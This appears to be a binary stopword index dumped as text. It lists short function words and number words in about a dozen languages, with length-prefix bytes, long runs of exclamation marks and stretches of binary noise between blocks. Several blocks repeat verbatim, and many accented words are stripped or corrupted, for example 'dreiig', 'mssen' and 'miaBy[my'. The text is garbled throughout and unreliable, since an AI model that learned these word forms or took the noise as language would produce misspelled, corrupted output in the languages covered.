with!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!(b@



t
P
,

jJ(x\@$F



v
Z
>
tZ
				f	D	> "		hN0|^@"nP2tnR6~ZvZX>"fD"lP4<tN*
vN&|b`
UFyJx0
alras0
"alreeds0
als0
also0
also0
	also0
also0
also0
	also0
alt0
alt0

alta0
altid0

alto0
altra0
altre0
*altrettanta0
*altrettante0
*altrettanti0
*altrettanto0
altri0
altro0
$altroch0
 altrui0
alts0

ambas0
"ambedue0
ambo0

ambos0
amen0
an0
an0
an0
	an0
an0
an0
	an0
anche0
$ancorch0
and0
and0
	and0
and0
and0
	and0

"andando0
anden0
(anderledes0
andet0
(andetsteds0
andre0
"anfangs0
(angesichts0
 anhand0
(anlsslich0
&anllich0
"another0
"another0
	"another0
"another0
"another0
	"another0
"anstatt0
$anstelle0

ante0

antes0
any0
any0
	any0
any0
any0
	any0
anzi0
"anzich0
 appena0
apr.0
aprs0

aquel0

"aquella0

$aquellas0

"aquello0

$aquellos0

aqul0

"aqulla0

$aqullas0

$aqullos0
are0
are0
	are0
are0
are0
	are0

arre0

 arriba0
*arrivederci0
*arrivederla0
"arrire0
as0
as0
	as0
as0
as0
as0
	as0

as0
at0
at0
at0
	at0
at0
at0
	at0

atiza0

atrs0
"attendu0
"attenti0
&attention0
au0
au0
aua0
auch0
aucun0
 aucune0
"aucunes0
 aucuns0
audit0
als0
*alsjeblieft0
"alsmaar0
"alsmede0
 alsnog0
alsof0
 alsook0
*alstublieft0
&altegader0
"althans0
 altijd0
 altoos0
 alvast0
$alvorens0
 alwaar0
"alweder0
 alweer0
alzo0
(ambtshalve0
&ambtswege0
amen0
:amfitheatersgewijze0
amper0
(anderdeels0
&andermaal0
 anders0
$andersom0
(anderszins0
(anderzijds0
anno0
$apegapen0
"apriori0
"apropos0
(asjeblieft0
au0
ani0
alm0
alto0
 amanh0
ambos0
 amide0
"antanho0
anto0
ante0
&antemanh0
"antemo0
&anteontem0
antes0
ao0
aonde0
aos0
 apenas0
 apesar0
aps0
apud0
 aquela0
"aquelas0
 aquele0
"aqueles0
aqum0
aqui0
 aquilo0
 arriba0
as0
 asinha0
assaz0
assim0
(assinzinho0
at0
atrs0
alm0
antes0
ao0
aos0
 apenas0
 apesar0
aps0
as0
assim0
at0
amen0
,anbelangande0
andra0
andre0
annan0
 annars0
annat0
$antingen0
 aprop0
arton0
"artonde0
att0
also0
an0
and0
"another0
any0
are0
as0
at0
alt10
ama0
ancak0
 arkas10
als0
'arba0
>atau!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!hN6



x
*`
H
h0


zZPBnV>&pRx"\B(6



x
V
8

			dD	(p	2`T	4	<hP|	tZ<2^8 tR0 xV8vf>pV<"J|dL4 t.|Vn6`@P0|R(
zX2|bF*f<"~`
U"
HU0
bauz0
be0
be0
	be0
be0
be0
	be0
be'0
$beaucoup0
"because0
"because0
	"because0
"because0
"because0
	"because0
been0
been0
	been0
been0
been0
	been0
 before0
 before0
	 before0
 before0
 before0
	 before0
begge0
:begrijpelijkerwijze0
beh0
"behalve0
&behoudens0
 behufs0
bei0
beide0
 beidem0
 beiden0
 beider0
*beiderseits0
*beiderzijds0
 beides0
 beinah0
"beinahe0
being0
being0
	being0
being0
being0
	being0
6beleefdheidshalve0
 bench0
"beneden0
,benedendijks0
0benedenstrooms0
$benevens0
bens0
,bepaaldelijk0
"bereids0
 bergaf0
 bergop0
$bernique0
,beroepshalve0
&besonders0
betr.0
*betreffende0
$betreffs0
"between0
"between0
	"between0
"between0
"between0
	"between0
*beurtelings0
bevor0
$bewesten0
bez.0
2beziehungsweise0
$bezijden0
$bezuiden0
&bezglich0
bien0

bien0
bigre0
&bijaldien0
 bijeen0
$bijgeval0
&bijgevolg0
"bijkans0
$bijlange0
bijna0
"bijster0
$bijtijds0
,bijvoorbeeld0
&bijwijlen0
$billiard0
(billionste0
*billionstem0
*billionsten0
*billionster0
*billionstes0

*billonsima0

,billonsimas0

*billonsimo0

,billonsimos0

 billn0
bin0
 binnen0
bis0
bis0
bis0
bist0
bitte0
0billijkerwijze0
6billijkheidshalve0
 binnen0
,binnenboords0
(binnendoor0
*binnengaats0
$binnenin0
(binnenkort0
*binnenshuis0
.binnenskamers0
,binnenslands0
,binnensmonds0
2binnenstebuiten0
,binnenstijds0
*binnentijds0
bis0
bem0
 bilho0
"bilhes0
*bilionsima0
,bilionsimas0
*bilionsimo0
,bilionsimos0
bis0
bem0
be0
"because0
been0
 before0
being0
"between0
ben0
bende0
beni0
biz0
bizde0
 bizden0
bize0
bizi!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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odicesimo0
 dodici0
(dodicimila0
does0
	does0
	does0
dog0
dois0
doit0
doive0
"doivent0
 doives0
donc0
donde0

donde0
dont0
dopo0
"dopoch0
&dopodich0

dos0

(doscientos0
&doucement0
douze0
$douzime0
&douzimes0
dove0
dovei0
"dovemmo0
"dovendo0
"dovente0
"doventi0
 dovere0
"dovesse0
&dovessero0
"dovessi0
&dovessimo0
"doveste0
"dovesti0
 dovete0
"dovette0
&dovettero0
"dovetti0
 doveva0
$dovevamo0
$dovevano0
$dovevate0
 dovevi0
 dovevo0
 dovrai0
$dovranno0
$dovrebbe0
(dovrebbero0
 dovrei0
$dovremmo0
"dovremo0
$dovreste0
$dovresti0
"dovrete0
dovr0
dovr0
 dovuta0
 dovute0
 dovuti0
 dovuto0
dov0
drei0
&dreierlei0
0dreiundachtzig0
6dreiundachtzigste0
8dreiundachtzigstem0
8dreiundachtzigsten0
8dreiundachtzigster0
8dreiundachtzigstes0
0dreiunddreiig0
6dreiunddreiigste0
8dreiunddreiigstem0
8dreiunddreiigsten0
8dreiunddreiigster0
8dreiunddreiigstes0
0dreiundfnfzig0
6dreiundfnfzigste0
8dreiundfnfzigstem0
8dreiundfnfzigsten0
8dreiundfnfzigster0
8dreiundfnfzigstes0
0dreiundneunzig0
6dreiundneunzigste0
8dreiundneunzigstem0
8dreiundneunzigsten0
8dreiundneunzigster0
8dreiundneunzigstes0
0dreiundsechzig0
6dreiundsechzigste0
8dreiundsechzigstem0
8dreiundsechzigsten0
8dreiundsechzigster0
8dreiundsechzigstes0
0dreiundsiebzig0
6dreiundsiebzigste0
8dreiundsiebzigstem0
8dreiundsiebzigsten0
8dreiundsiebzigster0
8dreiundsiebzigstes0
0dreiundvierzig0
6dreiundvierzigste0
8dreiundvierzigstem0
8dreiundvierzigsten0
8dreiundvierzigster0
8dreiundvierzigstes0
0dreiundzwanzig0
6dreiundzwanzigste0
8dreiundzwanzigstem0
8dreiundzwanzigsten0
8dreiundzwanzigster0
8dreiundzwanzigstes0
$dreizehn0
(dreizehnte0
*dreizehntem0
*dreizehnten0
*dreizehnter0
*dreizehntes0
"dreiig0
(dreiigste0
*dreiigstem0
*dreiigsten0
*dreiigster0
*dreiigstes0
 dritte0
"drittem0
"dritten0
"dritter0
"drittes0
du0
du0

*ducentsima0

,ducentsimas0

*ducentsimo0

,ducentsimos0
dudit0
due0
due0
,duecentesimo0
$duecento0
6duecentocinquanta0
>duecentocinquantesimo0
,duecentomila0
"duemila0
dues0
 dunque0

&duodcima0

(duodcimas0

&duodcimo0

(duodcimos0
 duquel0
 durant0
"durante0

"durante0
durch0
 durent0
 durfte0
"durften0
$durftest0
"durftet0
dus0
"dussent0
dut0
ds0

 dcima0

"dcimas0

 dcimo0

"dcimos0

dnde0
d0
dt0
drfe0
dit0
"ditmaal0
dito0
(direitinho0
disso0
disto0
$diversos0
disse0
din0
dina0
dito0
ditt0
dintT2nF&~^BtX`>$|z<"`
8U9Jms:0
dix0
"dixime0
$diximes0
do0
do0
	do0
do0
do0
	do0
$dobbiamo0
$dobbiate0

doce0

 docena0

"docenas0

 doceno0

"docenos0
doch0
(dodicesimo0
 dodici0
(dodicimila0
does0
	does0
	does0
dog0
dois0
doit0
doive0
"doivent0
 doives0
donc0
donde0

donde0
dont0
doch0
doei0
$dolgraag0
 domweg0
door0
"doordat0
$doordien0
"dooreen0
&doorgaans0
$doorheen0
(doormidden0
do0
 dokoBa0
do0
dois0
donde0
diz0
do0
dois0
do0
dock0
do0
!dong"doveste0
"dovesti0
 dovete0
"dovette0
&dovettero0
"dovetti0
 doveva0
$dovevamo0
$dovevano0
$dovevate0
 dovevi0
 dovevo0
 dovrai0
$dovranno0
$dovrebbe0
(dovrebbero0
 dovrei0
$dovremmo0
"dovremo0
$dovreste0
$dovresti0
"dovrete0
dovr0
dovr0
 dovuta0
 dovute0
 dovuti0
 dovuto0
dov0
drei0
&dreierlei0
0dreiundachtzig0
6dreiundachtzigste0
8dreiundachtzigstem0
8dreiundachtzigsten0
8dreiundachtzigster0
8dreiundachtzigstes0
0dreiunddreiig0
6dreiunddreiigste0
8dreiunddreiigstem0
8dreiunddreiigsten0
8dreiunddreiigster0
8dreiunddreiigstes0
0dreiundfnfzig0
6dreiundfnfzigste0
8dreiundfnfzigstem0
8dreiundfnfzigsten0
8dreiundfnfzigster0
8dreiundfnfzigstes0
0dreiundneunzig0
6dreiundneunzigste0
8dreiundneunzigstem0
8dreiundneunzigsten0
8dreiundneunzigster0
8dreiundneunzigstes0
0dreiundsechzig0
6dreiundsechzigste0
8dreiundsechzigstem0
8dreiundsechzigsten0
8dreiundsechzigster0
8dreiundsechzigstes0
0dreiundsiebzig0
6dreiundsiebzigste0
8dreiundsiebzigstem0
8dreiundsiebzigsten0
8dreiundsiebzigster0
8dreiundsiebzigstes0
0dreiundvierzig0
6dreiundvierzigste0
8dreiundvierzigstem0
8dreiundvierzigsten0
8dreiundvierzigster0
8dreiundvierzigstes0
0dreiundzwanzig0
6dreiundzwanzigste0
8dreiundzwanzigstem0
8dreiundzwanzigsten0
8dreiundzwanzigster0
8dreiundzwanzigstes0
$dreizehn0
(dreizehnte0
*dreizehntem0
*dreizehnten0
*dreizehnter0
*dreizehntes0
"dreiig0
(dreiigste0
*dreiigstem0
*dreiigsten0
*dreiigster0
*dreiigstes0
 dritte0
"drittem0
"dritten0
"dritter0
"drittes0
du0
du0

*ducentsima0

,ducentsimas0

*ducentsimo0

,ducentsimos0
dudit0
due0
due0
,duecentesimo0
$duecento0
6duecentocinquanta0
>duecentocinquantesimo0
,duecentomila0
"duemila0
dues0
 dunque0

&duodcima0

(duodcimas0

&duodcimo0

(duodcimos0
 duquel0
 durant0
"durante0

"durante0
durch0
 durent0
 durfte0
"durften0
$durftest0
"durftet0
dus0
"dussent0
dut0
ds0

 dcima0

"dcimas0

 dcimo0

"dcimos0

dnde0
d0
dt0
drfe0
doch0
doei0
$dolgraag0
 domweg0
door0
"doordat0
$doordien0
"dooreen0
&doorgaans0
$doorheen0
(doormidden0
do0
 dokoBa0
do0
dois0
donde0
dizd>"vjNl2Z|T>8tPT8 :z`
UA0%M0
dopo0
"dopoch0
&dopodich0

dos0

(doscientos0
&doucement0
douze0
$douzime0
&douzimes0
dove0
dovei0
"dovemmo0
"dovendo0
"dovente0
"doventi0
 dovere0
"dovesse0
&dovessero0
"dovessi0
&dovessimo0
"doveste0
"dovesti0
 dovete0
"dovette0
&dovettero0
"dovetti0
 doveva0
$dovevamo0
$dovevano0
$dovevate0
 dovevi0
 dovevo0
 dovrai0
$dovranno0
$dovrebbe0
(dovrebbero0
 dovrei0
$dovremmo0
"dovremo0
$dovreste0
$dovresti0
"dovrete0
dovr0
dovr0
 dovuta0
 dovute0
 dovuti0
 dovuto0
dov0
drei0
&dreierlei0
0dreiundachtzig0
6dreiundachtzigste0
8dreiundachtzigstem0
8dreiundachtzigsten0
8dreiundachtzigster0
8dreiundachtzigstes0
0dreiunddreiig0
6dreiunddreiigste0
8dreiunddreiigstem0
8dreiunddreiigsten0
8dreiunddreiigster0
8dreiunddreiigstes0
0dreiundfnfzig0
6dreiundfnfzigste0
8dreiundfnfzigstem0
8dreiundfnfzigsten0
8dreiundfnfzigster0
8dreiundfnfzigstes0
0dreiundneunzig0
6dreiundneunzigste0
8dreiundneunzigstem0
8dreiundneunzigsten0
8dreiundneunzigster0
8dreiundneunzigstes0
0dreiundsechzig0
6dreiundsechzigste0
8dreiundsechzigstem0
8dreiundsechzigsten0
8dreiundsechzigster0
8dreiundsechzigstes0
0dreiundsiebzig0
6dreiundsiebzigste0
8dreiundsiebzigstem0
8dreiundsiebzigsten0
8dreiundsiebzigster0
8dreiundsiebzigstes0
0dreiundvierzig0
6dreiundvierzigste0
8dreiundvierzigstem0
8dreiundvierzigsten0
8dreiundvierzigster0
8dreiundvierzigstes0
0dreiundzwanzig0
6dreiundzwanzigste0
8dreiundzwanzigstem0
8dreiundzwanzigsten0
8dreiundzwanzigster0
8dreiundzwanzigstes0
$dreizehn0
(dreizehnte0
*dreizehntem0
*dreizehnten0
*dreizehnter0
*dreizehntes0
"dreiig0
(dreiigste0
*dreiigstem0
*dreiigsten0
*dreiigster0
*dreiigstes0
 dritte0
"drittem0
"dritten0
"dritter0
"drittes0
du0
du0

*ducentsima0

,ducentsimas0

*ducentsimo0

,ducentsimos0
dudit0
due0
due0
,duecentesimo0
$duecento0
6duecentocinquanta0
>duecentocinquantesimo0
,duecentomila0
"duemila0
dues0
 dunque0

&duodcima0

(duodcimas0

&duodcimo0

(duodcimos0
dra0
$driemaal0
$driewerf0
$droogjes0
$droogweg0
du0
:duidelijkheidshalve0
*duizendmaal0
*duizendwerf0
&dunnetjes0
&doravante0
dos0
doze0
duas0
*ducentsima0
,ducentsimas0
*ducentsimo0
,ducentsimos0
dum0
duma0
dumas0
duns0
&duodcimo0
(duodcimos0
(duodcuplo0
dupla0
 duplas0
duplo0
 duplos0
dos0
duas0
ds0
du0
 dubbel0
"dubbelt0
 dubblaver0
 dcima0
"dcimas0
 dcimo0
"dcimos0
"dcuplo0
&doravante0
dos0
doze0
duas0
*ducentsima0
,ducentsimas0
*ducentsimo0
,ducentsimos0
dum0
duma0
dumas0
duns0
&duodcimo0
(duodcimos0
(duodcuplo0
dupla0
 duplpH zT4@V2^^42rR:"vRrP0.
`>nJj4\$N

x
@

b2R

|
D

		n	6	`(J|\<tP0`<jJ(vV4nJ,f|`
U^`0
mi0

mi0
mia0
miao0
miau0
mich0
mie0
miei0
mien0
 mienne0
"miennes0
miens0

$mientras0
mig0
might0
might0
	might0
might0
might0
	might0

mil0
mila0
*milionesimo0
mille0
&millesimo0
$milliard0
,milliardime0
.milliardimes0
*milliardste0
,milliardstem0
,milliardsten0
,milliardster0
,milliardstes0
*millionime0
,millionimes0
(millionste0
*millionstem0
*millionsten0
*millionster0
*millionstes0
$millime0
&millimes0

*millonsima0

,millonsimas0

*millonsimo0

,millonsimos0

 milln0

0milmillonsima0

2milmillonsimas0

0milmillonsimo0

2milmillonsimos0

$milsima0

&milsimas0

$milsimo0

&milsimos0
min0
mince0
mine0
(minsandten0
minus0
 minute0
mio0
mir0

mis0
*misricorde0
mit0
mit0
"mitsamt0
"mittels0
$mittelst0
mod0
moi0
moins0
molta0
molte0
molti0
molto0
mon0
mon0
"morbleu0
more0
more0
	more0
more0
more0
	more0
most0
most0
	most0
most0
most0
	most0
motus0
&moyennant0
much0
much0
	much0
much0
much0
	much0

mucha0

 muchas0

mucho0

 muchos0
muh0
muss0
musst0
 musste0
"mussten0
$musstest0
"musstet0
must0
must0
	must0
must0
must0
	must0
mu0
mut0
mute0
 muten0
"mutest0
 mutet0
my0
my0
	my0
my0
my0
	my0
mtin0
m0
mske0
mtte0

m0

ma0

mas0

mo0

mos0
msse0
 mssen0
"mssend0
"mssest0
 msset0
msst0
 msste0
"mssten0
$msstest0
"msstet0
mt0
mte0
 mten0
"mtest0
 mtet0
n0
n0
n0
n0
n0
n0
n0
n0
n0
	n0
na0
na0
nach0
"nachdem0

nada0

nadie0
nah0
miauw0
,middelerwijl0
"middels0
(middendoor0
$middenin0
mij0
mijn0
mijne0
,mijnenthalve0
*mijnentwege0
,mijnentwille0
*mijnerzijds0
"mijzelf0
min0
 minder0
&minnetjes0
$minstens0
minus0
mis0
&misschien0
mits0
$mitsdien0
&momenteel0
mono0
 morgen0
*morgenavond0
.morgenochtend0
na0
$naardien0
(naargelang0
$naarmate0
nadat0
$nademaal0
$naderbij0
&naderhand0
 nadien0
$nagenoeg0
na0
nad0
 midzy0
mo|e0
n0
mie0
 miaBem0
 miaBe[0
miaB0
$mieli[my0
&mieli[cie0
mieli0
 miaBam0
 miaBa[0
miaBa0
$miaBy[my0
&miaBy[cie0
miaBy0
 miaBo[0
miaBo0
"miaBbym0
"miaBby[0
 miaBby0
(mieliby[my0
*mieliby[cie0
"mieliby0
$miaBabym0
$miaBaby[0
"miaBaby0
(miaByby[my0
*miaByby[cie0
$miaBobym0
$miaBoby[0
"miaBobyrZB*v\@$nL,



z
\
@
$

zpT8xXtX< 
<



p
R
4


			~	d	:	 		xT.jL2l<
d8pFrFjF |R&fH*pP4F$Hnd84$HlRrhZx`
oUYGR0
nos0

nos0

$nosotras0

$nosotros0
(nossignora0
(nossignore0
(nossignori0
 nostra0
 nostre0
 nostri0
 nostro0
notre0
nous0
"novanta0
.novantacinque0
6novantacinquesimo0
(novantadue0
0novantaduesimo0
*novantamila0
*novantanove0
2novantanovesimo0
8novantaquattresimo0
0novantaquattro0
(novantasei0
2novantaseiesimo0
,novantasette0
4novantasettesimo0
2novantatreesimo0
(novantatr0
*novantesimo0
0novantottesimo0
(novantotto0
$novantun0
.novantunesimo0
&novantuno0
nove0
.novecentesimo0
&novecento0
.novecentomila0

*novecientos0
$novemila0

 novena0

"novenas0

 noveno0

"novenos0

"noventa0
now0
now0
	now0
now0
now0
	now0

nra.0

nro.0

ntra.0

ntro.0
nu0

"nuestra0

$nuestras0

"nuestro0

$nuestros0

nueve0
nul0
nulla0
*nulladimeno0
nulle0
 nulles0
nuls0
nun0

nunca0
nur0
 nchst0
n0
nr0
n0
nh0
nr0
 nsten0
n0
ntre0
 ntres0
$nrdlich0
o0
o0
o0
o0
o0
o0
o0
o0
o0
	o0

o0
ob0
$oberhalb0
$obgleich0
"obschon0
 obwohl0
 obzwar0

"ochenta0

&ochentena0

(ochentenas0

&ochenteno0

(ochentenos0

ocho0

*ochocientos0
"octante0
(octantime0

 octava0

"octavas0

 octavo0

"octavos0

0octingentsima0

2octingentsimas0

0octingentsimo0

2octingentsimos0

(octogsima0

*octogsimas0

(octogsimo0

*octogsimos0
od0
oder0
of0
of0
	of0
of0
of0
	of0
ofte0
og0
ogni0
.ogniqualvolta0
 ognuna0
 ognuno0
ogs0
oh0
oh0
oh0

oh0
oha0
ohe0
ohi0
ohib0
ohim0
ohne0
oho0
oh0
$notabene0
nou0
nu0
och0
of0
$ofschoon0
ofte0
ofwel0
obok0
o0
no0
"nnuplo0
nos0
ns0
nossa0
 nossas0
nosso0
 nossos0
 noutra0
"noutras0
 noutro0
"noutros0
nova0
novas0
nove0
(novecentas0
(novecentos0
"noventa0
"novinha0
$novinhas0
"novinho0
$novinhos0
&novssima0
(novssimas0
&novssimo0
(novssimos0
novo0
novos0
num0
numa0
numas0
nunca0
&nunquinha0
nuns0
o0
0octingentsima0
2octingentsimas0
0octingentsimo0
2octingentsimos0
(octogsima0
*octogsimas0
(octogsimo0
*octogsimos0
 oitava0
"oitavas0
 oitavo0
"oitavos0
"oitenta0
oito0
(oitocentas0
(oitocentos0
no0
nos0
num0
numa0
nunca0
o0
o0
nr0
n0
ngon0
&ngondera0
$ngonsin0
&ngonting0
(ngorlunda0
ngot0
ngra0
 ngras0
nja0
nvl0
o0
o.0
 oaktat0
och0
oj0
now(oitoce&~\<>$~fN6x` D,V.fz6HlJ 


h
F
&

>nXBZ,nN0



b
F&xR4z
Z
Np@
|"
^
@$
				f	L	.	
	lN2zZ4X6^X26pH`4r@^0|\|XtT<,zh`
XUvDxK0

 seamos0

sean0

seas0
 sebben0
"sebbene0
sechs0
(sechserlei0
"sechste0
$sechstem0
$sechsten0
$sechster0
$sechstes0
2sechsundachtzig0
8sechsundachtzigste0
:sechsundachtzigstem0
:sechsundachtzigsten0
:sechsundachtzigster0
:sechsundachtzigstes0
2sechsunddreiig0
8sechsunddreiigste0
:sechsunddreiigstem0
:sechsunddreiigsten0
:sechsunddreiigster0
:sechsunddreiigstes0
2sechsundfnfzig0
8sechsundfnfzigste0
:sechsundfnfzigstem0
:sechsundfnfzigsten0
:sechsundfnfzigster0
:sechsundfnfzigstes0
2sechsundneunzig0
8sechsundneunzigste0
:sechsundneunzigstem0
:sechsundneunzigsten0
:sechsundneunzigster0
:sechsundneunzigstes0
2sechsundsechzig0
8sechsundsechzigste0
:sechsundsechzigstem0
:sechsundsechzigsten0
:sechsundsechzigster0
:sechsundsechzigstes0
2sechsundsiebzig0
8sechsundsiebzigste0
:sechsundsiebzigstem0
:sechsundsiebzigsten0
:sechsundsiebzigster0
:sechsundsiebzigstes0
2sechsundvierzig0
8sechsundvierzigste0
:sechsundvierzigstem0
:sechsundvierzigsten0
:sechsundvierzigster0
:sechsundvierzigstes0
2sechsundzwanzig0
8sechsundzwanzigste0
:sechsundzwanzigstem0
:sechsundzwanzigsten0
:sechsundzwanzigster0
:sechsundzwanzigstes0
$sechzehn0
(sechzehnte0
*sechzehntem0
*sechzehnten0
*sechzehnter0
*sechzehntes0
"sechzig0
(sechzigste0
*sechzigstem0
*sechzigsten0
*sechzigster0
*sechzigstes0
seco0
"seconda0
"seconde0
"secondi0
"secondo0

sed0
(sedicesimo0
 sedici0
(sedicimila0
see0
"secunda0
"secundo0
 sedert0
(sedertdien0
sede0
sedan!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!nN&<Xh>


v
L
"
Hb0


H

		j	0	Rl:Rt:\"vD
\$b@`
PU.2HL0
var0

 varias0

 varios0
.vattelappesca0
ve0
ved0

 veinte0

$veintena0

&veintenas0

$veinteno0

&veintenos0

,veinteochena0

.veinteochenas0

,veinteocheno0

.veinteochenos0

*veinticinco0

0veinticuatrena0

2veinticuatrenas0

0veinticuatreno0

2veinticuatrenos0

,veinticuatro0

,veintidosena0

.veintidosenas0

,veintidoseno0

.veintidosenos0

&veintids0

*veintinueve0

,veintiochena0

.veintiochenas0

,veintiocheno0

.veintiochenos0

(veintiocho0

.veintiseisena0

0veintiseisenas0

.veintiseiseno0

0veintiseisenos0

*veintisiete0

(veintisis0

(veintitrs0

&veintiuno0

(veintsima0

*veintsimas0

(veintsimo0

*veintsimos0
 veelal0
"veeleer0
$veelmeer0
&veelszins0
&veeltijds0
(veertiende0
"veertig0
*veertigvoud0
4veiligheidshalve0
var0
vara0
"varande0
$varandra0
&varandras0
 varann0
$varannan0
"vardera0
vare0
"varenda0
 varfr0
$varifrn0
varit0
varje0
 varken0
varom0
vars0
 varsin0
$varsgod0
vart0
&vartannat0
$vartdera0
$vartenda0
 vartt0
vart0
ve0
ve!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!R*b8|T&vP"p>T(^:xV.||V:



~
`
<
z
				x	R	.		`
U*JGH0
$miaBy[my0
*miaByby[cie0
(miaByby[my0
miao0
miau0
miauw0
mich0
,middelerwijl0
"middels0
(middendoor0
$middenin0
mie0
mie0
miei0
mieli0
&mieli[cie0
$mieli[my0
"mieliby0
*mieliby[cie0
(mieliby[my0
mien0
 mienne0
"miennes0
miens0

$mientras0
mig0
might0
might0
	might0
might0
